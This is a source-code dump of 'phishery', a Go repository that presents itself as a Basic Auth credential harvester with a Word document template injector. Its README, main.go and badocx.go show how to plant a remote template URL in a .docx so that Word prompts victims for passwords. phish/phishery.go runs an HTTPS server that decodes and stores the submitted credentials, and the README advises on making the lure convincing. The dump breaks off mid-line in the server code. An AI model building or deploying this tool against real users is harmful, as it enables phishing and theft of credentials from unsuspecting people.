├── .gitignore ├── LICENSE ├── README.md ├── archivex ├── LICENSE ├── README.md └── archivex.go ├── badocx └── badocx.go ├── credentials.json ├── jstore └── jstore.go ├── main.go ├── neatprint └── neatprint.go ├── phish ├── authinfo.go ├── phishery.go ├── settings.go └── version.go ├── release ├── screenshots └── PhisheryDialog.jpg ├── server.crt ├── server.key ├── settings.json └── template.dotx /.gitignore: -------------------------------------------------------------------------------- 1 | # Created by .ignore support plugin (hsz.mobi) 2 | ### Go template 3 | # Compiled Object files, Static and Dynamic libs (Shared Objects) 4 | *.o 5 | *.a 6 | *.so 7 | 8 | # Folders 9 | _obj 10 | _test 11 | 12 | # Architecture specific extensions/prefixes 13 | *.[568vq] 14 | [568vq].out 15 | 16 | *.cgo1.go 17 | *.cgo2.c 18 | _cgo_defun.c 19 | _cgo_gotypes.go 20 | _cgo_export.* 21 | 22 | _testmain.go 23 | 24 | *.exe 25 | *.test 26 | *.prof 27 | ### JetBrains template 28 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and Webstorm 29 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 30 | 31 | # User-specific stuff: 32 | .idea/workspace.xml 33 | .idea/tasks.xml 34 | .idea/dictionaries 35 | .idea/vcs.xml 36 | .idea/jsLibraryMappings.xml 37 | 38 | # Sensitive or high-churn files: 39 | .idea/dataSources.ids 40 | .idea/dataSources.xml 41 | .idea/dataSources.local.xml 42 | .idea/sqlDataSources.xml 43 | .idea/dynamic.xml 44 | .idea/uiDesigner.xml 45 | 46 | # Gradle: 47 | .idea/gradle.xml 48 | .idea/libraries 49 | 50 | # Mongo Explorer plugin: 51 | .idea/mongoSettings.xml 52 | 53 | ## File-based project format: 54 | *.iws 55 | 56 | ## Plugin-specific files: 57 | 58 | # IntelliJ 59 | /out/ 60 | 61 | # mpeltonen/sbt-idea plugin 62 | .idea_modules/ 63 | 64 | # JIRA plugin 65 | atlassian-ide-plugin.xml 66 | 67 | # Crashlytics plugin (for Android Studio and IntelliJ) 68 | com_crashlytics_export_strings.xml 69 | crashlytics.properties 70 | crashlytics-build.properties 71 | fabric.properties 72 | 73 | # Project specific 74 | .DS_STORE 75 | .idea 76 | *.tar.gz -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016 Ryan Hanson 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # phishery 2 | 3 | Phishery is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication. 4 | Phishery also provides the ability easily to inject the URL into a .docx Word document. 5 | 6 | ![Basic Auth Dialog in Word](https://raw.githubusercontent.com/ryhanson/phishery/master/screenshots/PhisheryDialog.jpg "Basic Auth Dialog in Word") 7 | 8 | The power of phishery is best demonstrated by setting a Word document's template to a phishery URL. This causes 9 | Microsoft Word to make a request to the URL, resulting in an Authentication Dialog being shown to the end-user. The 10 | ability to inject any .docx file with a URL is possible using phishery's 11 | `-i [in docx]`, `-o [out docx]`, and `-u [url]` options. 12 | 13 | ### Download 14 | Operating system specific packages can be [downloaded from here](https://github.com/ryhanson/phishery/releases). 15 | 16 | ### Install 17 | Extract the archive, and optionally, install binary to $PATH 18 | 19 | ```bash 20 | $ tar -xzvf phishery*.tar.gz 21 | $ cd phishery* 22 | $ cp phishery /usr/local/bin 23 | ``` 24 | 25 | ### Usage 26 | ```text 27 | $ phishery --help 28 | 29 | |\ \\\\__ O __ _ __ 30 | | \_/ o \ o ____ / /_ (_)____/ /_ ___ _______ __ 31 | > _ (( <_ oO / __ \/ __ \/ / ___/ __ \/ _ \/ ___/ / / / 32 | | / \__+___/ / /_/ / / / / (__ ) / / / __/ / / /_/ / 33 | |/ |/ / .___/_/ /_/_/____/_/ /_/\___/_/ \__, / 34 | /_/ Basic Auth Credential Harvester (____/ 35 | with Word Doc Template Injector 36 | 37 | Start the server : phishery -s settings.json -c credentials.json 38 | Inject a template : phishery -u https://secure.site.local/docs -i good.docx -o bad.docx 39 | 40 | Options: 41 | -h, --help Show usage and exit. 42 | -v Show version and exit. 43 | -s The JSON settings file used to setup the server. [default: "settings.json"] 44 | -c The JSON file to store harvested credentials. [default: "credentials.json"] 45 | -u The phishery URL to use as the Word document template. 46 | -i The Word .docx file to inject with a template URL. 47 | -o The new Word .docx file with the injected template URL. 48 | ``` 49 | 50 | ##### Running the server 51 | Modify the provided settings.json file as needed, by default it should look like this: 52 | 53 | ```json 54 | { 55 | "ip": "0.0.0.0", 56 | "port": "443", 57 | "sslCert": "server.crt", 58 | "sslKey": "server.key", 59 | "basicRealm": "Secure Document Gateway", 60 | "responseStatus": 200, 61 | "responseFile": "template.dotx", 62 | "responseHeaders": [ 63 | ["Content-Type", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"] 64 | ] 65 | } 66 | ``` 67 | 68 | This setup will start the HTTP server on Port *443* with SSL configured to use *server.crt* and *server.key*. 69 | The basic authentication realm is set to *Secure Document Gateway*. 70 | When any credentials are provided, a *200* response status is sent along with the contents of the included *template.dotx* and 71 | the content type header: *Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.template*. 72 | 73 | The settings file may also be configured to output a simple body, by using *responseBody*, like this: 74 | 75 | ```json 76 | { 77 | "ip": "0.0.0.0", 78 | "port": "443", 79 | "sslCert": "server.crt", 80 | "sslKey": "server.key", 81 | "basicRealm": "Secure Document Gateway", 82 | "responseStatus": 404, 83 | "responseBody": "

Not Found

", 84 | "responseHeaders": [ 85 | ["Content-Type", "text/html"] 86 | ] 87 | } 88 | ``` 89 | 90 | The effectiveness of this tool is based mostly on the Domain and Basic Auth Realm used, as that is often all the end user 91 | will see when triggered from an Office document. Make sure to point your DNS A Records the public IP of the phishery server. 92 | 93 | It's recommended that the provided cert is replaced with a trusted one, such as one generated with 94 | [LetsEncrypt](https://github.com/certbot/certbot). Microsoft Word on OS X will prevent the auth dialog if the cert is invalid, and Microsoft Word on Windows will prompt the user to accept the invalid certificate. 95 | 96 | Once the server is configured and running, all you need to do is embed a phishery URL in a document, or anywhere 97 | else your heart desires. phishery does give you the ability to inject your URL into a Word document as a template, 98 | instructions on how to do this can be found below. 99 | 100 | ##### Injecting a Word Document 101 | To inject a Word document with a template URL, you'll need a .docx file and the phishery server URL. 102 | 103 | Now run phishery with your document and URL: 104 | 105 | ```text 106 | $ phishery -u https://secure.site.local/docs -i good.docx -o bad.docx 107 | [+] Opening Word document: good.docx 108 | [+] Setting Word document template to: https://secure.site.local/docs 109 | [+] Saving injected Word document to: bad.docx 110 | [*] Injected Word document has been saved! 111 | ``` 112 | 113 | Make sure your phishery server is running and available at the URL you used. Now when the Word document 114 | is opened, the victim will be prompted with an authentication dialog. 115 | 116 | Now when the victim opens the document, you'll see the following: 117 | 118 | ```text 119 | $ ./phishery 120 | [+] Credential store initialized at: credentials.json 121 | [+] Starting HTTPS Auth Server on: 0.0.0.0:443 122 | [*] Request Received at 2016-09-25 01:06:28: HEAD https://secure.site.local/docs 123 | [*] Sending Basic Auth response to: 127.0.0.1 124 | [*] New credentials harvested! 125 | [HTTP] Host : secure.example.local 126 | [HTTP] Request : /docs 127 | [HTTP] User Agent : Microsoft Office Word 128 | [HTTP] IP Address : 127.0.0.1 129 | [AUTH] Username : john.doe 130 | [AUTH] Password : Summer15 131 | ``` 132 | -------------------------------------------------------------------------------- /archivex/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2014, Jhonathan Paulo Banczek 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | * Neither the name of archivex nor the names of its 15 | contributors may be used to endorse or promote products derived from 16 | this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 19 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 22 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 25 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 26 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 27 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | 29 | -------------------------------------------------------------------------------- /archivex/README.md: -------------------------------------------------------------------------------- 1 | archivex 2 | ======== 3 | 4 | archivex is a golang package that archives folders (recursively) and files to zip and tar formats. 5 | 6 | [![Build Status](https://travis-ci.org/jhoonb/archivex.svg)](https://travis-ci.org/jhoonb/archivex) 7 | [![](http://gocover.io/_badge/github.com/jhoonb/archivex)](http://gocover.io/github.com/jhoonb/archivex) 8 | 9 | Installation 10 | ------------- 11 | 12 | ``` bash 13 | $ go get github.com/jhoonb/archivex 14 | ``` 15 | 16 | 17 | Example 18 | ------------- 19 | 20 | ```go 21 | 22 | package main 23 | 24 | import ( 25 | "github.com/jhoonb/archivex" 26 | ) 27 | 28 | // Example using only func zip 29 | func zip() { 30 | zip := new(archivex.ZipFile) 31 | zip.Create("filezip") 32 | zip.Add("testadd.txt", []byte("test 1")) 33 | zip.AddFile("") 34 | zip.AddAll("") 44 | tar.AddAll("") 57 | arch.AddAll("= blockSize { 101 | zippedFile.Write(bytes) 102 | continue 103 | } 104 | 105 | zippedFile.Write(bytes[:readedBytes]) 106 | } 107 | 108 | return nil 109 | } 110 | 111 | // AddAll adds all files from dir in archive, recursively. 112 | // Directories receive a zero-size entry in the archive, with a trailing slash in the header name, and no compression 113 | func (z *ZipFile) AddAll(dir string, includeCurrentFolder bool) error { 114 | dir = path.Clean(dir) 115 | return addAll(dir, dir, includeCurrentFolder, func(info os.FileInfo, file io.Reader, entryName string) (err error) { 116 | 117 | // Create a header based off of the fileinfo 118 | header, err := zip.FileInfoHeader(info) 119 | if err != nil { 120 | return err 121 | } 122 | 123 | // If it's a file, set the compression method to deflate (leave directories uncompressed) 124 | if !info.IsDir() { 125 | header.Method = zip.Deflate 126 | } 127 | 128 | // Set the header's name to what we want--it may not include the top folder 129 | header.Name = entryName 130 | 131 | // Add a trailing slash if the entry is a directory 132 | if info.IsDir() { 133 | header.Name += "/" 134 | } 135 | 136 | // Get a writer in the archive based on our header 137 | writer, err := z.Writer.CreateHeader(header) 138 | if err != nil { 139 | return err 140 | } 141 | 142 | // If we have a file to write (i.e., not a directory) then pipe the file into the archive writer 143 | if file != nil { 144 | if _, err := io.Copy(writer, file); err != nil { 145 | return err 146 | } 147 | } 148 | 149 | return nil 150 | }) 151 | } 152 | 153 | func (z *ZipFile) Close() error { 154 | return z.Writer.Close() 155 | } 156 | 157 | // Create new Tar file 158 | func (t *TarFile) Create(name string) error { 159 | // check the filename extension 160 | 161 | // if it has a .gz, we'll compress it. 162 | if strings.HasSuffix(name, ".tar.gz") { 163 | t.Compressed = true 164 | } else { 165 | t.Compressed = false 166 | } 167 | 168 | // check to see if they have the wrong extension 169 | if strings.HasSuffix(name, ".tar.gz") != true && strings.HasSuffix(name, ".tar") != true { 170 | // is it .zip? replace it 171 | if strings.HasSuffix(name, ".zip") == true { 172 | name = strings.Replace(name, ".zip", ".tar.gz", -1) 173 | t.Compressed = true 174 | } else { 175 | // if it's not, add .tar 176 | // since we'll assume it's not compressed 177 | name = name + ".tar" 178 | } 179 | } 180 | 181 | t.Name = name 182 | file, err := os.Create(t.Name) 183 | if err != nil { 184 | return err 185 | } 186 | 187 | if t.Compressed { 188 | t.GzWriter = gzip.NewWriter(file) 189 | t.Writer = tar.NewWriter(t.GzWriter) 190 | } else { 191 | t.Writer = tar.NewWriter(file) 192 | } 193 | 194 | return nil 195 | } 196 | 197 | // Add add byte in archive tar 198 | func (t *TarFile) Add(name string, file []byte) error { 199 | 200 | hdr := &tar.Header{ 201 | Name: name, 202 | Size: int64(len(file)), 203 | Mode: 0666, 204 | ModTime: time.Now(), 205 | } 206 | if err := t.Writer.WriteHeader(hdr); err != nil { 207 | return err 208 | } 209 | _, err := t.Writer.Write(file) 210 | return err 211 | } 212 | 213 | // Add add byte in archive tar 214 | func (t *TarFile) AddWithHeader(name string, file []byte, hdr *tar.Header) error { 215 | 216 | if err := t.Writer.WriteHeader(hdr); err != nil { 217 | return err 218 | } 219 | _, err := t.Writer.Write(file) 220 | return err 221 | } 222 | 223 | // AddFile add file from dir in archive tar 224 | func (t *TarFile) AddFile(name string) error { 225 | bytearq, err := ioutil.ReadFile(name) 226 | if err != nil { 227 | return err 228 | } 229 | 230 | info, err := os.Stat(name) 231 | if err != nil { 232 | return err 233 | } 234 | 235 | header, err := tar.FileInfoHeader(info, "") 236 | if err != nil { 237 | return err 238 | } 239 | 240 | err = t.Writer.WriteHeader(header) 241 | if err != nil { 242 | return err 243 | } 244 | _, err = t.Writer.Write(bytearq) 245 | if err != nil { 246 | return err 247 | } 248 | return nil 249 | } 250 | 251 | // AddFile add file from dir in archive tar 252 | func (t *TarFile) AddFileWithName(name string, filename string) error { 253 | bytearq, err := ioutil.ReadFile(name) 254 | if err != nil { 255 | return err 256 | } 257 | 258 | info, err := os.Stat(name) 259 | if err != nil { 260 | return err 261 | } 262 | 263 | header, err := tar.FileInfoHeader(info, "") 264 | if err != nil { 265 | return err 266 | } 267 | header.Name = filename 268 | 269 | err = t.Writer.WriteHeader(header) 270 | if err != nil { 271 | return err 272 | } 273 | _, err = t.Writer.Write(bytearq) 274 | if err != nil { 275 | return err 276 | } 277 | return nil 278 | } 279 | 280 | // AddAll adds all files from dir in archive 281 | // Tar does not support directories 282 | func (t *TarFile) AddAll(dir string, includeCurrentFolder bool) error { 283 | dir = path.Clean(dir) 284 | return addAll(dir, dir, includeCurrentFolder, func(info os.FileInfo, file io.Reader, entryName string) (err error) { 285 | 286 | // Skip directory entries 287 | if file == nil { 288 | return nil 289 | } 290 | 291 | // Create a header based off of the fileinfo 292 | header, err := tar.FileInfoHeader(info, "") 293 | if err != nil { 294 | return err 295 | } 296 | 297 | // Set the header's name to what we want--it may not include the top folder 298 | header.Name = entryName 299 | 300 | // Write the header into the tar file 301 | if err := t.Writer.WriteHeader(header); err != nil { 302 | return err 303 | } 304 | 305 | // Pipe the file into the tar 306 | if _, err := io.Copy(t.Writer, file); err != nil { 307 | return err 308 | } 309 | 310 | return nil 311 | }) 312 | } 313 | 314 | // Close the file Tar 315 | func (t *TarFile) Close() error { 316 | err := t.Writer.Close() 317 | if err != nil { 318 | return err 319 | } 320 | 321 | if t.Compressed { 322 | err = t.GzWriter.Close() 323 | if err != nil { 324 | return err 325 | } 326 | } 327 | 328 | return err 329 | } 330 | 331 | func getSubDir(dir string, rootDir string, includeCurrentFolder bool) (subDir string) { 332 | 333 | subDir = strings.Replace(dir, rootDir, "", 1) 334 | // Remove leading slashes, since this is intentionally a subdirectory. 335 | if len(subDir) > 0 && subDir[0] == os.PathSeparator { 336 | subDir = subDir[1:] 337 | } 338 | subDir = path.Join(strings.Split(subDir, string(os.PathSeparator))...) 339 | 340 | if includeCurrentFolder { 341 | parts := strings.Split(rootDir, string(os.PathSeparator)) 342 | subDir = path.Join(parts[len(parts)-1], subDir) 343 | } 344 | 345 | return 346 | } 347 | 348 | // addAll is used to recursively go down through directories and add each file and directory to an archive, based on an ArchiveWriteFunc given to it 349 | func addAll(dir string, rootDir string, includeCurrentFolder bool, writerFunc ArchiveWriteFunc) error { 350 | 351 | // Get a list of all entries in the directory, as []os.FileInfo 352 | fileInfos, err := ioutil.ReadDir(dir) 353 | if err != nil { 354 | return err 355 | } 356 | 357 | // Loop through all entries 358 | for _, info := range fileInfos { 359 | 360 | full := filepath.Join(dir, info.Name()) 361 | 362 | // If the entry is a file, get an io.Reader for it 363 | var file *os.File 364 | var reader io.Reader 365 | if !info.IsDir() { 366 | file, err = os.Open(full) 367 | if err != nil { 368 | return err 369 | } 370 | reader = file 371 | } 372 | 373 | // Write the entry into the archive 374 | subDir := getSubDir(dir, rootDir, includeCurrentFolder) 375 | entryName := path.Join(subDir, info.Name()) 376 | if err := writerFunc(info, reader, entryName); err != nil { 377 | if file != nil { 378 | file.Close() 379 | } 380 | return err 381 | } 382 | 383 | if file != nil { 384 | if err := file.Close(); err != nil { 385 | return err 386 | } 387 | 388 | } 389 | 390 | // If the entry is a directory, recurse into it 391 | if info.IsDir() { 392 | addAll(full, rootDir, includeCurrentFolder, writerFunc) 393 | } 394 | } 395 | 396 | return nil 397 | } 398 | -------------------------------------------------------------------------------- /badocx/badocx.go: -------------------------------------------------------------------------------- 1 | package badocx 2 | 3 | import ( 4 | "archive/zip" 5 | "errors" 6 | "io/ioutil" 7 | "strings" 8 | 9 | "github.com/ryhanson/phishery/archivex" 10 | ) 11 | 12 | type Docx struct { 13 | zipReader *zip.ReadCloser 14 | files []*zip.File 15 | newFiles map[string][]byte 16 | } 17 | 18 | func OpenDocx(path string) (*Docx, error) { 19 | reader, err := zip.OpenReader(path) 20 | if err != nil { 21 | return nil, err 22 | } 23 | 24 | wordDoc := Docx{ 25 | zipReader: reader, 26 | files: reader.File, 27 | newFiles: map[string][]byte{}, 28 | } 29 | 30 | for _, f := range wordDoc.files { 31 | contents, _ := wordDoc.retrieveFileContents(f.Name) 32 | wordDoc.newFiles[f.Name] = contents 33 | } 34 | 35 | return &wordDoc, nil 36 | } 37 | 38 | func (d *Docx) Close() error { 39 | return d.zipReader.Close() 40 | } 41 | 42 | func (d *Docx) WriteBadocx(filename string) error { 43 | newDoc := archivex.ZipFile{} 44 | 45 | newDoc.Create(filename) 46 | for p, b := range d.newFiles { 47 | newDoc.Add(p, b) 48 | } 49 | 50 | return newDoc.Close() 51 | } 52 | 53 | func (d *Docx) SetTemplate(url string) error { 54 | relsPath := "word/_rels/settings.xml.rels" 55 | settingsPath := "word/settings.xml" 56 | 57 | settingsRels, err := d.retrieveFileContents(relsPath) 58 | if err != nil { 59 | // Doesn't exist, create it 60 | d.newFiles[relsPath] = newSettingsRels(url) 61 | } else { 62 | // TODO: Check if template already exists and update 63 | d.newFiles[relsPath] = settingsRels 64 | return errors.New("Word document might already have a template URL") 65 | } 66 | 67 | settingsBytes, err := d.retrieveFileContents(settingsPath) 68 | if err != nil { 69 | return err 70 | } 71 | 72 | start := "/>" 73 | end := "` + end 75 | settingsXml := strings.Replace(string(settingsBytes), start + end, templateNode, 1) 76 | d.newFiles[settingsPath] = []byte(settingsXml) 77 | 78 | return nil 79 | } 80 | 81 | func (d *Docx) retrieveFileContents(filename string) ([]byte, error) { 82 | var file *zip.File 83 | for _, f := range d.files { 84 | if f.Name == filename { 85 | file = f 86 | } 87 | } 88 | 89 | if file == nil { 90 | return []byte{}, errors.New(filename + " file not found") 91 | } 92 | 93 | reader, err := file.Open() 94 | if err != nil { 95 | return []byte{}, err 96 | } 97 | 98 | return ioutil.ReadAll(reader) 99 | } 100 | 101 | func newSettingsRels(url string) []byte { 102 | newRels := 103 | ` 104 | 105 | 108 | ` 109 | 110 | return []byte(newRels) 111 | } -------------------------------------------------------------------------------- /credentials.json: -------------------------------------------------------------------------------- 1 | {} -------------------------------------------------------------------------------- /jstore/jstore.go: -------------------------------------------------------------------------------- 1 | package jstore 2 | 3 | import ( 4 | "os" 5 | "encoding/json" 6 | "io/ioutil" 7 | "crypto/md5" 8 | "encoding/hex" 9 | ) 10 | 11 | type JsonStore struct { 12 | filename string; 13 | } 14 | 15 | func NewStore(jsonfile string) (*JsonStore, error) { 16 | store := JsonStore{ 17 | filename: jsonfile, 18 | } 19 | 20 | if _, err := os.Stat(store.filename); err == nil { 21 | return &store, nil 22 | } 23 | 24 | _, err := os.Create(store.filename) 25 | return &store, err 26 | } 27 | 28 | func (store *JsonStore) AddObject(obj interface{}) (bool, error) { 29 | objs := make(map[string]interface{}) 30 | authJson, _ := json.Marshal(obj) 31 | authSum := getMD5(string(authJson)) 32 | 33 | objs, err := store.LoadStore() 34 | if err != nil { 35 | return false, err 36 | } 37 | 38 | if _, ok := objs[authSum]; ok { 39 | return false, nil 40 | } 41 | 42 | objs[authSum] = obj 43 | out, err := json.MarshalIndent(objs, "", "\t") 44 | if err != nil { 45 | return false, err 46 | } 47 | 48 | return true, ioutil.WriteFile(store.filename, out, 0755) 49 | } 50 | 51 | func (store *JsonStore) LoadStore() (map[string]interface{}, error) { 52 | objs := make(map[string]interface{}) 53 | 54 | file, err := os.Open(store.filename) 55 | if err != nil { 56 | return objs, err 57 | } 58 | 59 | decoder := json.NewDecoder(file) 60 | if err := decoder.Decode(&objs); err != nil && err.Error() != "EOF" { 61 | return objs, err 62 | } 63 | 64 | return objs, nil 65 | } 66 | 67 | func getMD5(text string) string { 68 | hasher := md5.New() 69 | hasher.Write([]byte(text)) 70 | return hex.EncodeToString(hasher.Sum(nil)) 71 | } -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "os" 7 | "os/signal" 8 | "syscall" 9 | 10 | "github.com/ryhanson/phishery/badocx" 11 | "github.com/ryhanson/phishery/neatprint" 12 | "github.com/ryhanson/phishery/phish" 13 | ) 14 | 15 | const usage = `|\ \\\\__ O __ _ __ 16 | | \_/ o \ o ____ / /_ (_)____/ /_ ___ _______ __ 17 | > _ (( <_ oO / __ \/ __ \/ / ___/ __ \/ _ \/ ___/ / / / 18 | | / \__+___/ / /_/ / / / / (__ ) / / / __/ / / /_/ / 19 | |/ |/ / .___/_/ /_/_/____/_/ /_/\___/_/ \__, / 20 | /_/ Basic Auth Credential Harvester (____/ 21 | with Word Doc Template Injector 22 | 23 | Start the server : phishery -s settings.json -c credentials.json 24 | Inject a template : phishery -u https://secure.site.local/docs -i good.docx -o bad.docx 25 | 26 | Options: 27 | -h, --help Show usage and exit. 28 | -v Show version and exit. 29 | -s The JSON settings file used to setup the server. [default: "settings.json"] 30 | -c The JSON file to store harvested credentials. [default: "credentials.json"] 31 | -u The phishery URL to use as the Word document template. 32 | -i The Word .docx file to inject with a template URL. 33 | -o The new Word .docx file with the injected template URL. 34 | -k Disable TLS support. 35 | ` 36 | 37 | var neat = neatprint.NewNeatPrint() 38 | 39 | func main() { 40 | var ( 41 | flVersion = flag.Bool("v", false, "") 42 | flSettings = flag.String("s", "settings.json", "") 43 | flCredentials = flag.String("c", "credentials.json", "") 44 | flUrl = flag.String("u", "", "") 45 | flDocx = flag.String("i", "", "") 46 | flBadocx = flag.String("o", "", "") 47 | flIsCleartext = flag.Bool("k", false, "") 48 | ) 49 | 50 | flag.Usage = func() { fmt.Print(usage) } 51 | flag.Parse() 52 | 53 | if *flVersion { 54 | neat.Info("phishery version: " + phish.VERSION) 55 | os.Exit(0) 56 | } 57 | 58 | if *flDocx != "" || *flUrl != "" || *flBadocx != "" { 59 | createBadocx(*flUrl, *flDocx, *flBadocx) 60 | } 61 | 62 | c := make(chan os.Signal, 2) 63 | signal.Notify(c, os.Interrupt, syscall.SIGTERM) 64 | go func() { 65 | <-c 66 | fmt.Println() 67 | neat.Event("Stopping auth server...") 68 | os.Exit(1) 69 | }() 70 | 71 | err := phish.StartPhishery(*flSettings, *flCredentials, *flIsCleartext) 72 | if err != nil { 73 | neat.Error("Error starting Phishery server: %s", err) 74 | os.Exit(1) 75 | } 76 | } 77 | 78 | func createBadocx(url string, in string, out string) { 79 | if url == "" || in == "" || out == "" { 80 | neat.Error("Word .docx files and URL are required!") 81 | neat.Info("Usage: phishery -u https://secure.site.local/docs -i good.docx -o bad.docx") 82 | os.Exit(0) 83 | } 84 | 85 | neat.Event("Opening Word document: %s", in) 86 | wordDocx, err := badocx.OpenDocx(in) 87 | if err != nil { 88 | neat.Error("Error opening word document: %s", err.Error()) 89 | os.Exit(1) 90 | } 91 | 92 | neat.Event("Setting Word document template to: %s", url) 93 | wordDocx.SetTemplate(url) 94 | 95 | neat.Event("Saving injected Word document to: %s", out) 96 | if err := wordDocx.WriteBadocx(out); err != nil { 97 | neat.Error("Error injecting Word doc: %s", err) 98 | os.Exit(1) 99 | } 100 | 101 | if err := wordDocx.Close(); err != nil { 102 | neat.Error("Error closing injected Word doc: %s", err) 103 | os.Exit(1) 104 | } 105 | 106 | neat.Info("Injected Word document has been saved!") 107 | os.Exit(0) 108 | } 109 | -------------------------------------------------------------------------------- /neatprint/neatprint.go: -------------------------------------------------------------------------------- 1 | package neatprint 2 | 3 | import ( 4 | "fmt" 5 | "runtime" 6 | 7 | "github.com/fatih/color" 8 | ) 9 | 10 | type NeatPrint struct { 11 | yellow func(string, ...interface{}) string 12 | green func(string, ...interface{}) string 13 | cyan func(string, ...interface{}) string 14 | blue func(string, ...interface{}) string 15 | red func(string, ...interface{}) string 16 | } 17 | 18 | func NewNeatPrint() NeatPrint { 19 | if runtime.GOOS == "windows" { 20 | color.NoColor = true 21 | } 22 | 23 | return NeatPrint{ 24 | yellow: color.New(color.FgHiYellow).SprintfFunc(), 25 | green: color.New(color.FgHiGreen).SprintfFunc(), 26 | cyan: color.New(color.FgHiCyan).SprintfFunc(), 27 | blue: color.New(color.FgHiBlue).SprintfFunc(), 28 | red: color.New(color.FgHiRed).SprintfFunc(), 29 | } 30 | } 31 | 32 | func (np *NeatPrint) Data(pre string, label string, value string) { 33 | fmt.Printf("%s %-11s: %s\n", np.blue("[%s]", pre), label, np.cyan(value)) 34 | } 35 | 36 | func (np *NeatPrint) Info(format string, info ...interface{}) { 37 | format = fmt.Sprintf(np.yellow("[*]") + " %s\n", format) 38 | fmt.Printf(format, info...) 39 | } 40 | 41 | func (np *NeatPrint) Event(format string, event ...interface{}) { 42 | format = fmt.Sprintf(np.green("[+]") + " %s\n", format) 43 | fmt.Printf(format, event...) 44 | } 45 | 46 | func (np *NeatPrint) Error(format string, err ...interface{}) { 47 | format = fmt.Sprintf(np.red("[!]") + " %s\n", format) 48 | fmt.Printf(format, err...) 49 | } -------------------------------------------------------------------------------- /phish/authinfo.go: -------------------------------------------------------------------------------- 1 | package phish 2 | 3 | type AuthInfo struct { 4 | Host string `json:"host"` 5 | Request string `json:"request"` 6 | IPAddress string `json:"ipAddress"` 7 | UserAgent string `json:"userAgent"` 8 | Username string `json:"username"` 9 | Password string `json:"password"` 10 | } -------------------------------------------------------------------------------- /phish/phishery.go: -------------------------------------------------------------------------------- 1 | package phish 2 | 3 | import ( 4 | "encoding/base64" 5 | "errors" 6 | "fmt" 7 | "io/ioutil" 8 | "net/http" 9 | "strings" 10 | "time" 11 | 12 | "github.com/ryhanson/phishery/jstore" 13 | "github.com/ryhanson/phishery/neatprint" 14 | ) 15 | 16 | type Phishery struct { 17 | credStore *jstore.JsonStore 18 | settings Settings 19 | } 20 | 21 | var neat = neatprint.NewNeatPrint() 22 | 23 | func StartPhishery(settingsFile string, credsFile string, isCleartext bool) error { 24 | settings := loadSettings(settingsFile) 25 | credStore, err := jstore.NewStore(credsFile) 26 | if err != nil { 27 | return errors.New("Error initiliazing credential store: " + err.Error()) 28 | } 29 | neat.Event("Credential store initialized at: %s", credsFile) 30 | 31 | listenOn := settings.IP + ":" + settings.Port 32 | srv := Phishery{ 33 | credStore: credStore, 34 | settings: settings, 35 | } 36 | 37 | http.HandleFunc("/", srv.handler) 38 | 39 | if isCleartext { 40 | neat.Event("Starting HTTP Auth Server on: %s", listenOn) 41 | return http.ListenAndServe(listenOn, nil) 42 | } 43 | neat.Event("Starting HTTPS Auth Server on: %s", listenOn) 44 | return http.ListenAndServeTLS(listenOn, settings.SSLCert, settings.SSLKey, nil) 45 | } 46 | 47 | func (srv *Phishery) processAuth(auth string) (AuthInfo, error) { 48 | authInfo := AuthInfo{} 49 | 50 | b64, err := base64.StdEncoding.DecodeString(auth) 51 | if err != nil { 52 | return authInfo, errors.New("Error Decoding Authorization Header") 53 | } 54 | 55 | creds := strings.SplitN(string(b64), ":", 2) 56 | if len(creds) != 2 && (creds[0] == "" || creds[1] 